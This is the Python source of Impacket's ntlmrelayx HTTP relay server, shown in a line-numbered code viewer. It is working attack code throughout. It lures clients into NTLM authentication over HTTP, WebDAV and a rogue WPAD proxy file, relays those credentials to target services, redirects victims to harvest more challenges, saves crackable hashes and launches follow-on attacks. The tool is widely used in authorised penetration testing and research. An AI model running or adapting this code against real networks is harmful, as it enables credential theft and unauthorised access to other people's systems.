Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Description: 

10# HTTP Relay Server 

11# 

12# This is the HTTP server which relays the NTLMSSP messages to other protocols 

13# 

14# Authors: 

15# Alberto Solino (@agsolino) 

16# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

17# 

18 

19import http.server 

20import socketserver 

21import socket 

22import base64 

23import random 

24import struct 

25import string 

26from threading import Thread 

27from six import PY2, b 

28 

29from impacket import ntlm, LOG 

30from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile 

31from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS 

32from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor 

33from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections 

34 

35class HTTPRelayServer(Thread): 

36 

37 class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): 

38 def __init__(self, server_address, RequestHandlerClass, config): 

39 self.config = config 

40 self.daemon_threads = True 

41 if self.config.ipv6: 

42 self.address_family = socket.AF_INET6 

43 # Tracks the number of times authentication was prompted for WPAD per client 

44 self.wpad_counters = {} 

45 socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass) 

46 

47 class HTTPHandler(http.server.SimpleHTTPRequestHandler): 

48 def __init__(self,request, client_address, server): 

49 self.server = server 

50 self.protocol_version = 'HTTP/1.1' 

51 self.challengeMessage = None 

52 self.target = None 

53 self.client = None 

54 self.machineAccount = None 

55 self.machineHashes = None 

56 self.domainIp = None 

57 self.authUser = None 

58 self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \ 

59 '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \ 

60 'return "PROXY %s:80; DIRECT";} ' 

61 if self.server.config.mode != 'REDIRECT': 

62 if self.server.config.target is None: 

63 # Reflection mode, defaults to SMB at the target, for now 

64 self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) 

65 self.target = self.server.config.target.getTarget() 

66 if self.target is None: 

67 LOG.info("HTTPD: Received connection from %s, but there are no more targets left!" % client_address[0]) 

68 return 

69 LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc)) 

70 try: 

71 http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) 

72 except Exception as e: 

73 LOG.debug("Exception:", exc_info=True) 

74 LOG.error(str(e)) 

75 

76 def handle_one_request(self): 

77 try: 

78 http.server.SimpleHTTPRequestHandler.handle_one_request(self) 

79 except KeyboardInterrupt: 

80 raise 

81 except Exception as e: 

82 LOG.debug("Exception:", exc_info=True) 

83 LOG.error('Exception in HTTP request handler: %s' % e) 

84 

85 def log_message(self, format, *args): 

86 return 

87 

88 def send_error(self, code, message=None): 

89 if message.find('RPC_OUT') >=0 or message.find('RPC_IN'): 

90 return self.do_GET() 

91 return http.server.SimpleHTTPRequestHandler.send_error(self,code,message) 

92 

93 def serve_wpad(self): 

94 wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host) 

95 self.send_response(200) 

96 self.send_header('Content-type', 'application/x-ns-proxy-autoconfig') 

97 self.send_header('Content-Length',len(wpadResponse)) 

98 self.end_headers() 

99 self.wfile.write(b(wpadResponse)) 

100 return 

101 

102 def should_serve_wpad(self, client): 

103 # If the client was already prompted for authentication, see how many times this happened 

104 try: 

105 num = self.server.wpad_counters[client] 

106 except KeyError: 

107 num = 0 

108 self.server.wpad_counters[client] = num + 1 

109 # Serve WPAD if we passed the authentication offer threshold 

110 if num >= self.server.config.wpad_auth_num: 

111 return True 

112 else: 

113 return False 

114 

115 def serve_image(self): 

116 with open(self.server.config.serve_image, 'rb') as imgFile: 

117 imgFile_data = imgFile.read() 

118 self.send_response(200, "OK") 

119 self.send_header('Content-type', 'image/jpeg') 

120 self.send_header('Content-Length', str(len(imgFile_data))) 

121 self.end_headers() 

122 self.wfile.write(imgFile_data) 

123 

124 def do_HEAD(self): 

125 self.send_response(200) 

126 self.send_header('Content-type', 'text/html') 

127 self.end_headers() 

128 

129 def do_OPTIONS(self): 

130 self.send_response(200) 

131 self.send_header('Allow', 

132 'GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPY') 

133 self.send_header('Content-Length', '0') 

134 self.send_header('Connection', 'close') 

135 self.end_headers() 

136 return 

137 

138 def do_PROPFIND(self): 

139 proxy = False 

140 if (".jpg" in self.path) or (".JPG" in self.path): 

141 content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>""" 

142 else: 

143 content = b"""<?xml version="1.0"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>""" 

144 

145 messageType = 0 

146 if PY2: 

147 autorizationHeader = self.headers.getheader('Authorization') 

148 else: 

149 autorizationHeader = self.headers.get('Authorization') 

150 if autorizationHeader is None: 

151 self.do_AUTHHEAD(message=b'NTLM') 

152 pass 

153 else: 

154 typeX = autorizationHeader 

155 try: 

156 _, blob = typeX.split('NTLM') 

157 token = base64.b64decode(blob.strip()) 

158 except: 

159 self.do_AUTHHEAD() 

160 messageType = struct.unpack('<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] 

161 

162 if messageType == 1: 

163 if not self.do_ntlm_negotiate(token, proxy=proxy): 

164 LOG.info("do negotiate failed, sending redirect") 

165 self.do_REDIRECT() 

166 elif messageType == 3: 

167 authenticateMessage = ntlm.NTLMAuthChallengeResponse() 

168 authenticateMessage.fromString(token) 

169 

170 if not self.do_ntlm_auth(token,authenticateMessage): 

171 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

172 LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % ( 

173 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), 

174 authenticateMessage['user_name'].decode('utf-16le'))) 

175 else: 

176 LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % ( 

177 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), 

178 authenticateMessage['user_name'].decode('ascii'))) 

179 # Only skip to next if the login actually failed, not if it was just anonymous login or a system account 

180 # which we don't want 

181 if authenticateMessage['user_name'] != b'': 

182 self.server.config.target.logTarget(self.target) 

183 # No anonymous login, go to next host and avoid triggering a popup 

184 self.do_REDIRECT() 

185 else: 

186 #If it was an anonymous login, send 401 

187 self.do_AUTHHEAD(b'NTLM', proxy=proxy) 

188 else: 

189 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

190 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

191 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), 

192 authenticateMessage['user_name'].decode('utf-16le'))) 

193 else: 

194 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

195 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), 

196 authenticateMessage['user_name'].decode('ascii'))) 

197 

198 self.do_attack() 

199 self.send_response(207, "Multi-Status") 

200 self.send_header('Content-Type', 'application/xml') 

201 self.send_header('Content-Length', str(len(content))) 

202 self.end_headers() 

203 self.wfile.write(content) 

204 return 

205 

206 def do_AUTHHEAD(self, message = b'', proxy=False): 

207 if proxy: 

208 self.send_response(407) 

209 self.send_header('Proxy-Authenticate', message.decode('utf-8')) 

210 else: 

211 self.send_response(401) 

212 self.send_header('WWW-Authenticate', message.decode('utf-8')) 

213 self.send_header('Content-type', 'text/html') 

214 self.send_header('Content-Length','0') 

215 self.end_headers() 

216 

217 #Trickery to get the victim to sign more challenges 

218 def do_REDIRECT(self, proxy=False): 

219 rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) 

220 self.send_response(302) 

221 self.send_header('WWW-Authenticate', 'NTLM') 

222 self.send_header('Content-type', 'text/html') 

223 self.send_header('Connection','close') 

224 self.send_header('Location','/%s' % rstr) 

225 self.send_header('Content-Length','0') 

226 self.end_headers() 

227 

228 def do_SMBREDIRECT(self): 

229 self.send_response(302) 

230 self.send_header('Content-type', 'text/html') 

231 self.send_header('Location','file://%s' % self.server.config.redirecthost) 

232 self.send_header('Content-Length','0') 

233 self.send_header('Connection','close') 

234 self.end_headers() 

235 

236 def do_POST(self): 

237 return self.do_GET() 

238 

239 def do_CONNECT(self): 

240 return self.do_GET() 

241 

242 def do_GET(self): 

243 # Get the body of the request if any 

244 # Otherwise, successive requests will not be handled properly 

245 if PY2: 

246 contentLength = self.headers.getheader("Content-Length") 

247 else: 

248 contentLength = self.headers.get("Content-Length") 

249 if contentLength is not None: 

250 body = self.rfile.read(int(contentLength)) 

251 

252 messageType = 0 

253 if self.server.config.mode == 'REDIRECT': 

254 self.do_SMBREDIRECT() 

255 return 

256 

257 LOG.info('HTTPD: Client requested path: %s' % self.path.lower()) 

258 

259 # Serve WPAD if: 

260 # - The client requests it 

261 # - A WPAD host was provided in the command line options 

262 # - The client has not exceeded the wpad_auth_num threshold yet 

263 if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]): 

264 LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0]) 

265 self.serve_wpad() 

266 return 

267 

268 # Determine if the user is connecting to our server directly or attempts to use it as a proxy 

269 if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'): 

270 proxy = True 

271 else: 

272 proxy = False 

273 

274 if PY2: 

275 proxyAuthHeader = self.headers.getheader('Proxy-Authorization') 

276 autorizationHeader = self.headers.getheader('Authorization') 

277 else: 

278 proxyAuthHeader = self.headers.get('Proxy-Authorization') 

279 autorizationHeader = self.headers.get('Authorization') 

280 

281 if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None): 

282 self.do_AUTHHEAD(message = b'NTLM',proxy=proxy) 

283 pass 

284 else: 

285 if proxy: 

286 typeX = proxyAuthHeader 

287 else: 

288 typeX = autorizationHeader 

289 try: 

290 _, blob = typeX.split('NTLM') 

291 token = base64.b64decode(blob.strip()) 

292 except Exception: 

293 LOG.debug("Exception:", exc_info=True) 

294 self.do_AUTHHEAD(message = b'NTLM', proxy=proxy) 

295 else: 

296 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] 

297 

298 if messageType == 1: 

299 if not self.do_ntlm_negotiate(token, proxy=proxy): 

300 #Connection failed 

301 LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', 

302 self.target.scheme, self.target.netloc) 

303 self.server.config.target.logTarget(self.target) 

304 self.do_REDIRECT() 

305 elif messageType == 3: 

306 authenticateMessage = ntlm.NTLMAuthChallengeResponse() 

307 authenticateMessage.fromString(token) 

308 

309 if not self.do_ntlm_auth(token,authenticateMessage): 

310 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

311 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( 

312 self.target.scheme, self.target.netloc, 

313 authenticateMessage['domain_name'].decode('utf-16le'), 

314 authenticateMessage['user_name'].decode('utf-16le'))) 

315 else: 

316 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( 

317 self.target.scheme, self.target.netloc, 

318 authenticateMessage['domain_name'].decode('ascii'), 

319 authenticateMessage['user_name'].decode('ascii'))) 

320 

321 # Only skip to next if the login actually failed, not if it was just anonymous login or a system account 

322 # which we don't want 

323 if authenticateMessage['user_name'] != b'': # and authenticateMessage['user_name'][-1] != '$': 

324 self.server.config.target.logTarget(self.target) 

325 # No anonymous login, go to next host and avoid triggering a popup 

326 self.do_REDIRECT() 

327 else: 

328 #If it was an anonymous login, send 401 

329 self.do_AUTHHEAD(b'NTLM', proxy=proxy) 

330 else: 

331 # Relay worked, do whatever we want here... 

332 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

333 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

334 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), 

335 authenticateMessage['user_name'].decode('utf-16le'))) 

336 else: 

337 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

338 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), 

339 authenticateMessage['user_name'].decode('ascii'))) 

340 

341 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'], 

342 authenticateMessage['user_name'], 

343 authenticateMessage['domain_name'], 

344 authenticateMessage['lanman'], authenticateMessage['ntlm']) 

345 self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 

346 

347 if self.server.config.outputFile is not None: 

348 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile) 

349 

350 self.server.config.target.logTarget(self.target, True, self.authUser) 

351 

352 self.do_attack() 

353 

354 # Serve image and return 200 if --serve-image option has been set by user 

355 if (self.server.config.serve_image): 

356 self.serve_image() 

357 return 

358 

359 # And answer 404 not found 

360 self.send_response(404) 

361 self.send_header('WWW-Authenticate', 'NTLM') 

362 self.send_header('Content-type', 'text/html') 

363 self.send_header('Content-Length','0') 

364 self.send_header('Connection','close') 

365 self.end_headers() 

366 return 

367 

368 def do_ntlm_negotiate(self, token, proxy): 

369 if self.target.scheme.upper() in self.server.config.protocolClients: 

370 self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target) 

371 # If connection failed, return 

372 if not self.client.initConnection(): 

373 return False 

374 self.challengeMessage = self.client.sendNegotiate(token) 

375 

376 # Remove target NetBIOS field from the NTLMSSP_CHALLENGE 

377 if self.server.config.remove_target: 

378 av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields']) 

379 del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] 

380 self.challengeMessage['TargetInfoFields'] = av_pairs.getData() 

381 self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData()) 

382 self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData()) 

383 

384 # Check for errors 

385 if self.challengeMessage is False: 

386 return False 

387 else: 

388 LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper()) 

389 return False 

390 

391 #Calculate auth 

392 self.do_AUTHHEAD(message = b'NTLM '+base64.b64encode(self.challengeMessage.getData()), proxy=proxy) 

393 return True 

394 

395 def do_ntlm_auth(self,token,authenticateMessage): 

396 #For some attacks it is important to know the authenticated username, so we store it 

397 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: 

398 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), 

399 authenticateMessage['user_name'].decode('utf-16le'))).upper() 

400 else: 

401 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'), 

402 authenticateMessage['user_name'].decode('ascii'))).upper() 

403 

404 if authenticateMessage['user_name'] != b'' or self.target.hostname == '127.0.0.1': 

405 clientResponse, errorCode = self.client.sendAuth(token) 

406 else: 

407 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except 

408 # when coming from localhost 

409 errorCode = STATUS_ACCESS_DENIED 

410 

411 if errorCode == STATUS_SUCCESS: 

412 return True 

413 

414 return False 

415 

416 def do_attack(self): 

417 # Check if SOCKS is enabled and if we support the target scheme 

418 if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes: 

419 # Pass all the data to the socksplugins proxy 

420 activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(), 

421 self.authUser, self.client, self.client.sessionData)) 

422 return 

423 

424 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks 

425 if self.target.scheme.upper() in self.server.config.attacks: 

426 # We have an attack.. go for it 

427 clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session, 

428 self.authUser) 

429 clientThread.start() 

430 else: 

431 LOG.error('No attack configured for %s' % self.target.scheme.upper()) 

432 

433 def __init__(self, config): 

434 Thread.__init__(self) 

435 self.daemon = True 

436 self.config = config 

437 self.server = None 

438 

439 def run(self): 

440 LOG.info("Setting up HTTP Server") 

441 

442 if self.config.listeningPort: 

443 httpport = self.config.listeningPort 

444 else: 

445 httpport = 80 

446 

447 # changed to read from the interfaceIP set in the configuration 

448 self.server = self.HTTPServer((self.config.interfaceIp, httpport), self.HTTPHandler, self.config) 

449 

450 try: 

451 self.server.serve_forever() 

452 except KeyboardInterrupt: 

453 pass 

454 LOG.info('Shutting down HTTP Server') 

455 self.server.server_close()